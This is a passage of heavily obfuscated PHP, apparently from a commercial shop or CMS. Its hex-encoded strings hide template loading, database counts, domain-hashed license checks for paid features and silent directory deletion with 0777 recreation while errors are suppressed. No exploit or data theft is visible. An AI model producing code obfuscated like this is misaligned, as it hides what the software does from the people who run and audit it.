I4px9;I4pldMhxa:$I4pcVvP1=$GLOBALS[xWdTXMQ][4];I4px9:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcVvP1));$I4peF3=call_user_func_array("removeDir",array(&$I4peFvP0));$I4peRA5=$I4peF3;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($I4pcVvP1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgxc;goto I4pldMhxc;I4peWjgxc:$I4pcVvP1=&$GLOBALS[xWdTXMQ][4];goto I4pxb;I4pldMhxc:$I4pcVvP1=$GLOBALS[xWdTXMQ][4];I4pxb:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcVvP1));$I4peF3=call_user_func_array("mkdir",array(&$I4peFvP0,0777,true));$I4peRA5=$I4peF3;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($I4pcVvP1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgxe;goto I4pldMhxe;I4peWjgxe:$I4pcVvP1=&$GLOBALS[xWdTXMQ][0x5];goto I4pxd;I4pldMhxe:$I4pcVvP1=$GLOBALS[xWdTXMQ][0x5];I4pxd:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcVvP1));$I4peF3=call_user_func_array("removeDir",array(&$I4peFvP0));$I4peRA5=$I4peF3;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($I4pcVvP1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgxg;goto I4pldMhxg;I4peWjgxg:$I4pcVvP1=&$GLOBALS[xWdTXMQ][0x5];goto I4pxf;I4pldMhxg:$I4pcVvP1=$GLOBALS[xWdTXMQ][0x5];I4pxf:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcVvP1));$I4peF3=call_user_func_array("mkdir",array(&$I4peFvP0,0777,true));$I4peRA5=$I4peF3;error_reporting($GLOBALS["Ox9790"]);goto I4px3;I4pldMhx8:I4px3:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->api==$I4peF1;if($I4pA5)goto I4peWjgxi;goto I4pldMhxi;I4peWjgxi:unset($I4pcV1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgxk;goto I4pldMhxk;I4peWjgxk:$I4pcV1=&$GLOBALS[xWdTXMQ][07];goto I4pxj;I4pldMhxk:$I4pcV1=$GLOBALS[xWdTXMQ][07];I4pxj:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV1));unset($I4ptIA5);$from=$I4peF0;goto I4pxh;I4pldMhxi:unset($I4ptIA5);$from=$config->api;I4pxh:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->domain==$I4peF1;if($I4pA5)goto I4peWjgxm;goto I4pldMhxm;I4peWjgxm:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{0x8}));unset($I4ptIA5);$url_from=$I4peF0;goto I4pxl;I4pldMhxm:unset($I4ptIA5);$url_from=$config->domain;I4pxl:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->hy==$I4peF1;if($I4pA5)goto I4peWjgxo;goto I4pldMhxo;I4peWjgxo:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{0x9}));unset($I4ptIA5);$huoyuan=$I4peF0;goto I4pxn;I4pldMhxo:unset($I4ptIA5);$huoyuan=$config->hy;I4pxn:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->mail==$I4peF1;if($I4pA5)goto I4peWjgxq;goto I4pldMhxq;I4peWjgxq:unset($I4pcV1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgxs;goto I4pldMhxs;I4peWjgxs:$I4pcV1=&$GLOBALS[xWdTXMQ][0xA];goto I4pxr;I4pldMhxs:$I4pcV1=$GLOBALS[xWdTXMQ][0xA];I4pxr:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV1));unset($I4ptIA5);$mail=$I4peF0;goto I4pxp;I4pldMhxq:unset($I4ptIA5);$mail=$config->mail;I4pxp:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->demo==$I4peF1;if($I4pA5)goto I4peWjgxu;goto I4pldMhxu;I4peWjgxu:unset($I4pcV1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgxw;goto I4pldMhxw;I4peWjgxw:$I4pcV1=&$GLOBALS[xWdTXMQ][11];goto I4pxv;I4pldMhxw:$I4pcV1=$GLOBALS[xWdTXMQ][11];I4pxv:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV1));unset($I4ptIA5);$demo=$I4peF0;goto I4pxt;I4pldMhxu:unset($I4ptIA5);$demo=$config->demo;I4pxt:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->update==$I4peF1;if($I4pA5)goto I4peWjgxy;goto I4pldMhxy;I4peWjgxy:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{0xC}));unset($I4ptIA5);$updateurl=$I4peF0;goto I4pxx;I4pldMhxy:unset($I4ptIA5);$updateurl=$config->update;I4pxx:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->qun1==$I4peF1;if($I4pA5)goto I4peWjgx11;goto I4pldMhx11;I4peWjgx11:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{015}));unset($I4ptIA5);$qun1=$I4peF0;goto I4pxz;I4pldMhx11:unset($I4ptIA5);$qun1=$config->qun1;I4pxz:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->qun2==$I4peF1;if($I4pA5)goto I4peWjgx13;goto I4pldMhx13;I4peWjgx13:unset($I4pcV1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx15;goto I4pldMhx15;I4peWjgx15:$I4pcV1=&$GLOBALS[xWdTXMQ][14];goto I4px14;I4pldMhx15:$I4pcV1=$GLOBALS[xWdTXMQ][14];I4px14:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV1));unset($I4ptIA5);$qun2=$I4peF0;goto I4px12;I4pldMhx13:unset($I4ptIA5);$qun2=$config->qun1;I4px12:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->qun1_link==$I4peF1;if($I4pA5)goto I4peWjgx17;goto I4pldMhx17;I4peWjgx17:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{017}));unset($I4ptIA5);$qun1_link=$I4peF0;goto I4px16;I4pldMhx17:unset($I4ptIA5);$qun1_link=$config->qun1_link;I4px16:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));$I4pA5=$config->qun2_link==$I4peF1;if($I4pA5)goto I4peWjgx19;goto I4pldMhx19;I4peWjgx19:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{020}));unset($I4ptIA5);$qun2_link=$I4peF0;goto I4px18;I4pldMhx19:unset($I4ptIA5);$qun2_link=$config->qun2_link;I4px18:$I4peFvP1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{021}));$I4peFvP2=call_user_func_array("md5",array(&$C_fdomain));$I4pvPA5=$I4peFvP1 . $I4peFvP2;$I4peF3=call_user_func_array("md5",array(&$I4pvPA5));$I4pA6=$config->wuliu==$I4peF3;if($I4pA6)goto I4peWjgx1b;goto I4pldMhx1b;I4peWjgx1b:unset($I4pcV2);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx1d;goto I4pldMhx1d;I4peWjgx1d:$I4pcV2=&$GLOBALS[xWdTXMQ][18];goto I4px1c;I4pldMhx1d:$I4pcV2=$GLOBALS[xWdTXMQ][18];I4px1c:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV2));unset($I4ptIA5);$config->wuliu=$I4peF1;goto I4px1a;I4pldMhx1b:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));unset($I4ptIA5);$config->wuliu=$I4peF1;I4px1a:unset($I4pcVvP2);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx1g;goto I4pldMhx1g;I4peWjgx1g:$I4pcVvP2=&$GLOBALS[xWdTXMQ][0x13];goto I4px1f;I4pldMhx1g:$I4pcVvP2=$GLOBALS[xWdTXMQ][0x13];I4px1f:$I4peFvP1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcVvP2));$I4peFvP3=call_user_func_array("md5",array(&$C_fdomain));$I4pvPA5=$I4peFvP1 . $I4peFvP3;$I4peF5=call_user_func_array("md5",array(&$I4pvPA5));$I4pA6=$config->epay==$I4peF5;if($I4pA6)goto I4peWjgx1h;goto I4pldMhx1h;I4peWjgx1h:unset($I4pcV2);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx1j;goto I4pldMhx1j;I4peWjgx1j:$I4pcV2=&$GLOBALS[xWdTXMQ][18];goto I4px1i;I4pldMhx1j:$I4pcV2=$GLOBALS[xWdTXMQ][18];I4px1i:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV2));unset($I4ptIA5);$config->epay=$I4peF1;goto I4px1e;I4pldMhx1h:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));unset($I4ptIA5);$config->epay=$I4peF1;I4px1e:$I4peFvP1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{0x14}));$I4peFvP2=call_user_func_array("md5",array(&$C_fdomain));$I4pvPA5=$I4peFvP1 . $I4peFvP2;$I4peF3=call_user_func_array("md5",array(&$I4pvPA5));$I4pA6=$config->quan==$I4peF3;if($I4pA6)goto I4peWjgx1l;goto I4pldMhx1l;I4peWjgx1l:unset($I4pcV2);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx1n;goto I4pldMhx1n;I4peWjgx1n:$I4pcV2=&$GLOBALS[xWdTXMQ][18];goto I4px1m;I4pldMhx1n:$I4pcV2=$GLOBALS[xWdTXMQ][18];I4px1m:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV2));unset($I4ptIA5);$config->quan=$I4peF1;goto I4px1k;I4pldMhx1l:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));unset($I4ptIA5);$config->quan=$I4peF1;I4px1k:$I4peFvP1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{21}));$I4peFvP2=call_user_func_array("md5",array(&$C_fdomain));$I4pvPA5=$I4peFvP1 . $I4peFvP2;$I4peF3=call_user_func_array("md5",array(&$I4pvPA5));$I4pA6=$config->postage==$I4peF3;if($I4pA6)goto I4peWjgx1p;goto I4pldMhx1p;I4peWjgx1p:unset($I4pcV2);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx1r;goto I4pldMhx1r;I4peWjgx1r:$I4pcV2=&$GLOBALS[xWdTXMQ][18];goto I4px1q;I4pldMhx1r:$I4pcV2=$GLOBALS[xWdTXMQ][18];I4px1q:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV2));unset($I4ptIA5);$config->postage=$I4peF1;goto I4px1o;I4pldMhx1p:$I4peF1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{06}));unset($I4ptIA5);$config->postage=$I4peF1;I4px1o:$I4peFvPvP0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{22}));unset($I4pcVvP2);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx1u;goto I4pldMhx1u;I4peWjgx1u:$I4pcVvP2=&$GLOBALS[xWdTXMQ][0x17];goto I4px1t;I4pldMhx1u:$I4pcVvP2=$GLOBALS[xWdTXMQ][0x17];I4px1t:$I4peFvP1=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcVvP2));unset($I4pcV5);if(is_array($_SERVER))goto I4peWjgx23;goto I4pldMhx23;I4peWjgx23:$I4pcV5=&$_SERVER[$I4peFvPvP0];goto I4px22;I4pldMhx23:$I4pcV5=$_SERVER[$I4peFvPvP0];I4px22:$I4peF4=call_user_func_array("strpos",array(&$I4pcV5,&$I4peFvP1));$I4pA5=$I4peF4!==false;$I4pA7=(bool)$I4pA5;if($I4pA7)goto I4peWjgx21;goto I4pldMhx21;I4peWjgx21:unset($I4pcVvP7);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx1w;goto I4pldMhx1w;I4peWjgx1w:$I4pcVvP7=&$GLOBALS[xWdTXMQ][24];goto I4px1v;I4pldMhx1w:$I4pcVvP7=$GLOBALS[xWdTXMQ][24];I4px1v:$I4peFvP6=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcVvP7));$I4peFvP9=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{25}));$I4peF10=call_user_func_array("getrs",array(&$I4peFvP6,&$I4peFvP9));$I4pA6=$I4peF10>2;$I4pA7=(bool)$I4pA6;goto I4px2z;I4pldMhx21:I4px2z:$I4pA9=(bool)$I4pA7;if($I4pA9)goto I4peWjgx1y;goto I4pldMhx1y;I4peWjgx1y:$I4peF11=call_user_func_array("checkauth",array());$I4pA8=!$I4peF11;$I4pA9=(bool)$I4pA8;goto I4px1x;I4pldMhx1y:I4px1x:if($I4pA9)goto I4peWjgx24;goto I4pldMhx24;I4peWjgx24:unset($I4pcV1);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx28;goto I4pldMhx28;I4peWjgx28:$I4pcV1=&$GLOBALS[xWdTXMQ][032];goto I4px27;I4pldMhx28:$I4pcV1=$GLOBALS[xWdTXMQ][032];I4px27:$I4peF0=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV1));$I4pA5=$I4peF0 . $url_from;$I4peF2=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},$GLOBALS[xWdTXMQ]{27}));$I4pA6=$I4pA5 . $I4peF2;$I4pA7=$I4pA6 . $url_from;unset($I4pcV4);if(is_array($GLOBALS[xWdTXMQ]))goto I4peWjgx26;goto I4pldMhx26;I4peWjgx26:$I4pcV4=&$GLOBALS[xWdTXMQ][034];goto I4px25;I4pldMhx26:$I4pcV4=$GLOBALS[xWdTXMQ][034];I4px25:$I4peF3=call_user_func_array("pack",array($GLOBALS[xWdTXMQ]{00},&$I4pcV4));$I4pA8=$I4pA7 . $I4peF3;die($I4pA8);goto I4px1s;I4pldMhx24:I4px1s:function tpl($path){$I4pA5=!defined("YUmfltv");if($I4pA5)goto I4peWjgx2a;goto I4pldMhx2a;I4peWjgx2a:$I4peF0=call_user_func_array("define",array("YUmfltv","ltpNWhJ"));goto I4px29;I4pldMhx2a:I4px29:$I4peF0=call_user_func_array("explode",array("|A|Z|,","H*|A|Z|,636F6E6E2F66696C65|A|Z|,2F6865616465722E74706C|A|Z|,5B66685F6865616465725D|A|Z|,2F666F6F7465722E74706C|A|Z|,5B66685F666F6F7465725D|A|Z|,73656C65637420636F756E74284E5F696429206173204E5F636F756E742066726F6D20736C5F6E657773207768657265204E5F64656C3D30|A|Z|,4E5F636F756E74|A|Z|,73656C65637420636F756E7428505F69642920617320505F636F756E742066726F6D20736C5F70726F6475637420776865726520505F64656C3D30|A|Z|,505F636F756E74|A|Z|,73656C65637420636F756E74284D5F696429206173204D5F636F756E742066726F6D20736C5F6D656D626572207768657265204D5F64656C3D3020616E64204D5F747970653D30|A|Z|,4D5F636F756E74|A|Z|,73656C65637420636F756E74284D5F696429206173204D5F636F756E742066726F6D20736C5F6D656D626572207768657265204D5F64656C3D3020616E64204D5F747970653D31|A|Z|,73656C65637420636F756E74284C5F696429206173204C5F636F756E742066726F6D20736C5F6C697374207768657265204C5F64656C3D30|A|Z|,4C5F636F756E74|A|Z|,73656C6563742073756D284C5F6D6F6E657929206173204C5F73756D2066726F6D20736C5F6C697374207768657265204C5F64656C3D3020616E64204C5F6D6F6E65793E30|A|Z|,4C5F73756D|A|Z|,68746D6C|A|Z|,485F64617461|A|Z|,646179|A|Z|,592D6D2D64|A|Z|,646F6D61696E|A|Z|,485454505F484F5354|A|Z|,435F776170|A|Z|,435F74656D706C617465|A|Z|,535F636F756E74|A|Z|,74797065|A|Z|,6D6435|A|Z|,686F7374|A|Z|,74|A|Z|,636F6E6E2F66696C652F|A|Z|,3A|A|Z|,5F|A|Z|,2E747874|A|Z|,74706C|A|Z|,2F3C66682D66756E6374696F6E3E5B5C735C535D2A3F3C5C2F66682D66756E6374696F6E3E2F69|A|Z|,3C66682D66756E6374696F6E3E|A|Z|,|A|Z|,3C2F66682D66756E6374696F6E3E|A|Z|,735B5B|A|Z|,24726573756C743D6D7973716C695F71756572792824636F6E6E2C2473716C293B6966286D7973716C695F6E756D5F726F77732824726573756C74293E30297B7768696C652824726F773D6D7973716C695F66657463685F6173736F632824726573756C7429297B|A|Z|,73325B5B|A|Z|,24726573756C74323D6D7973716C695F71756572792824636F6E6E2C2473716C32293B6966286D7973716C695F6E756D5F726F77732824726573756C7432293E30297B7768696C652824726F77323D6D7973716C695F66657463685F6173736F632824726573756C743229297B|A|Z|,73335B5B|A|Z|,24726573756C74333D6D7973716C695F71756572792824636F6E6E2C2473716C33293B6966286D7973716C695F6E756D5F726F77732824726573756C7433293E30297B7768696C652824726F77333D6D7973716C695F66657463685F6173736F632824726573756C743329297B|A|Z|,5D5D|A|Z|,7D7D|A|Z|,3C736372697074207372633D2268747470733A2F2F7265732E77782E71712E636F6D2F6F70656E2F6A732F6A77656978696E2D312E322E302E6A73223E3C2F7363726970743E0D0A093C736372697074207372633D22636F6E6E2F662E7068703F616374696F6E3D77786A7326747970653D|A|Z|,2669643D|A|Z|,6964|A|Z|,223E3C2F7363726970743E|A|Z|,6E65777369666E6F|A|Z|,70726F64756374696E666F|A|Z|,637075727365696E666F|A|Z|,3C736372697074207372633D22636F6E6E2F662E7068703F616374696F6E3D636F6C6C656374696F6E223E3C2F7363726970743E"));unset($I4ptIA5);$GLOBALS[YUmfltv]=$I4peF0;global $C_kefu,$conn,$H_data,$type,$id,$C_title,$C_notice,$fmid,$M_ninfo,$M_pinfo;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx2f;goto I4pldMhx2f;I4peWjgx2f:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px2e;I4pldMhx2f:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px2e:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx2d;goto I4pldMhx2d;I4peWjgx2d:$I4pcVvP2=&$GLOBALS[YUmfltv][1];goto I4px2c;I4pldMhx2d:$I4pcVvP2=$GLOBALS[YUmfltv][1];I4px2c:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));$I4peF5=call_user_func_array("is_dir",array(&$I4peFvP0));$I4pA5=!$I4peF5;if($I4pA5)goto I4peWjgx2g;goto I4pldMhx2g;I4peWjgx2g:$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx2k;goto I4pldMhx2k;I4peWjgx2k:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px2j;I4pldMhx2k:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px2j:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx2i;goto I4pldMhx2i;I4peWjgx2i:$I4pcVvP2=&$GLOBALS[YUmfltv][1];goto I4px2h;I4pldMhx2i:$I4pcVvP2=$GLOBALS[YUmfltv][1];I4px2h:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));$I4peF5=call_user_func_array("mkdir",array(&$I4peFvP0,0755,true));$I4peRA5=$I4peF5;error_reporting($GLOBALS["Ox9790"]);goto I4px2b;I4pldMhx2g:I4px2b:$I4peF0=call_user_func_array("file_get_contents",array(&$path));unset($I4ptIA5);$html=$I4peF0;$I4peFvP0=call_user_func_array("dirname",array(&$path));unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx2n;goto I4pldMhx2n;I4peWjgx2n:$I4pcVvP2=&$GLOBALS[YUmfltv][00];goto I4px2m;I4pldMhx2n:$I4pcVvP2=$GLOBALS[YUmfltv][00];I4px2m:$I4peFvP1=call_user_func_array("pack",array(&$I4pcVvP2,$GLOBALS[YUmfltv]{02}));$I4pvPA5=$I4peFvP0 . $I4peFvP1;$I4peF4=call_user_func_array("is_file",array(&$I4pvPA5));if($I4peF4)goto I4peWjgx2o;goto I4pldMhx2o;I4peWjgx2o:unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx2q;goto I4pldMhx2q;I4peWjgx2q:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px2p;I4pldMhx2q:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px2p:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[YUmfltv]{3}));$I4peFvPvP3=call_user_func_array("dirname",array(&$path));unset($I4pcVvPvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx2s;goto I4pldMhx2s;I4peWjgx2s:$I4pcVvPvP5=&$GLOBALS[YUmfltv][00];goto I4px2r;I4pldMhx2s:$I4pcVvPvP5=$GLOBALS[YUmfltv][00];I4px2r:$I4peFvPvP4=call_user_func_array("pack",array(&$I4pcVvPvP5,$GLOBALS[YUmfltv]{02}));$I4pvPvPA5=$I4peFvPvP3 . $I4peFvPvP4;$I4peFvP7=call_user_func_array("file_get_contents",array(&$I4pvPvPA5));$I4peF8=call_user_func_array("str_replace",array(&$I4peFvP0,&$I4peFvP7,&$html));unset($I4ptIA6);$html=$I4peF8;goto I4px2l;I4pldMhx2o:I4px2l:$I4peFvP0=call_user_func_array("dirname",array(&$path));unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx2x;goto I4pldMhx2x;I4peWjgx2x:$I4pcVvP2=&$GLOBALS[YUmfltv][00];goto I4px2w;I4pldMhx2x:$I4pcVvP2=$GLOBALS[YUmfltv][00];I4px2w:unset($I4pcVvP3);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx2v;goto I4pldMhx2v;I4peWjgx2v:$I4pcVvP3=&$GLOBALS[YUmfltv][4];goto I4px2u;I4pldMhx2v:$I4pcVvP3=$GLOBALS[YUmfltv][4];I4px2u:$I4peFvP1=call_user_func_array("pack",array(&$I4pcVvP2,&$I4pcVvP3));$I4pvPA5=$I4peFvP0 . $I4peFvP1;$I4peF6=call_user_func_array("is_file",array(&$I4pvPA5));if($I4peF6)goto I4peWjgx2y;goto I4pldMhx2y;I4peWjgx2y:unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx33;goto I4pldMhx33;I4peWjgx33:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px32;I4pldMhx33:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px32:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx31;goto I4pldMhx31;I4peWjgx31:$I4pcVvP2=&$GLOBALS[YUmfltv][0x5];goto I4px3z;I4pldMhx31:$I4pcVvP2=$GLOBALS[YUmfltv][0x5];I4px3z:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));$I4peFvPvP5=call_user_func_array("dirname",array(&$path));unset($I4pcVvPvP7);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx37;goto I4pldMhx37;I4peWjgx37:$I4pcVvPvP7=&$GLOBALS[YUmfltv][00];goto I4px36;I4pldMhx37:$I4pcVvPvP7=$GLOBALS[YUmfltv][00];I4px36:unset($I4pcVvPvP8);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx35;goto I4pldMhx35;I4peWjgx35:$I4pcVvPvP8=&$GLOBALS[YUmfltv][4];goto I4px34;I4pldMhx35:$I4pcVvPvP8=$GLOBALS[YUmfltv][4];I4px34:$I4peFvPvP6=call_user_func_array("pack",array(&$I4pcVvPvP7,&$I4pcVvPvP8));$I4pvPvPA5=$I4peFvPvP5 . $I4peFvPvP6;$I4peFvP11=call_user_func_array("file_get_contents",array(&$I4pvPvPA5));$I4peF12=call_user_func_array("str_replace",array(&$I4peFvP0,&$I4peFvP11,&$html));unset($I4ptIA6);$html=$I4peF12;goto I4px2t;I4pldMhx2y:I4px2t:unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx39;goto I4pldMhx39;I4peWjgx39:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px38;I4pldMhx39:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px38:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[YUmfltv]{06}));unset($I4pcVvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3d;goto I4pldMhx3d;I4peWjgx3d:$I4pcVvP4=&$GLOBALS[YUmfltv][00];goto I4px3c;I4pldMhx3d:$I4pcVvP4=$GLOBALS[YUmfltv][00];I4px3c:unset($I4pcVvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3b;goto I4pldMhx3b;I4peWjgx3b:$I4pcVvP5=&$GLOBALS[YUmfltv][07];goto I4px3a;I4pldMhx3b:$I4pcVvP5=$GLOBALS[YUmfltv][07];I4px3a:$I4peFvP3=call_user_func_array("pack",array(&$I4pcVvP4,&$I4pcVvP5));$I4peF8=call_user_func_array("getrs",array(&$I4peFvP0,&$I4peFvP3));unset($I4ptIA5);$N_count=$I4peF8;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3h;goto I4pldMhx3h;I4peWjgx3h:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px3g;I4pldMhx3h:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px3g:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3f;goto I4pldMhx3f;I4peWjgx3f:$I4pcVvP2=&$GLOBALS[YUmfltv][010];goto I4px3e;I4pldMhx3f:$I4pcVvP2=$GLOBALS[YUmfltv][010];I4px3e:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4pcVvP6);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3j;goto I4pldMhx3j;I4peWjgx3j:$I4pcVvP6=&$GLOBALS[YUmfltv][00];goto I4px3i;I4pldMhx3j:$I4pcVvP6=$GLOBALS[YUmfltv][00];I4px3i:$I4peFvP5=call_user_func_array("pack",array(&$I4pcVvP6,$GLOBALS[YUmfltv]{011}));$I4peF8=call_user_func_array("getrs",array(&$I4peFvP0,&$I4peFvP5));unset($I4ptIA5);$P_count=$I4peF8;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3l;goto I4pldMhx3l;I4peWjgx3l:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px3k;I4pldMhx3l:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px3k:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[YUmfltv]{012}));unset($I4pcVvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3n;goto I4pldMhx3n;I4peWjgx3n:$I4pcVvP4=&$GLOBALS[YUmfltv][00];goto I4px3m;I4pldMhx3n:$I4pcVvP4=$GLOBALS[YUmfltv][00];I4px3m:$I4peFvP3=call_user_func_array("pack",array(&$I4pcVvP4,$GLOBALS[YUmfltv]{11}));$I4peF6=call_user_func_array("getrs",array(&$I4peFvP0,&$I4peFvP3));unset($I4ptIA5);$M_count=$I4peF6;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3p;goto I4pldMhx3p;I4peWjgx3p:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px3o;I4pldMhx3p:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px3o:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[YUmfltv]{12}));unset($I4pcVvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx3r;goto 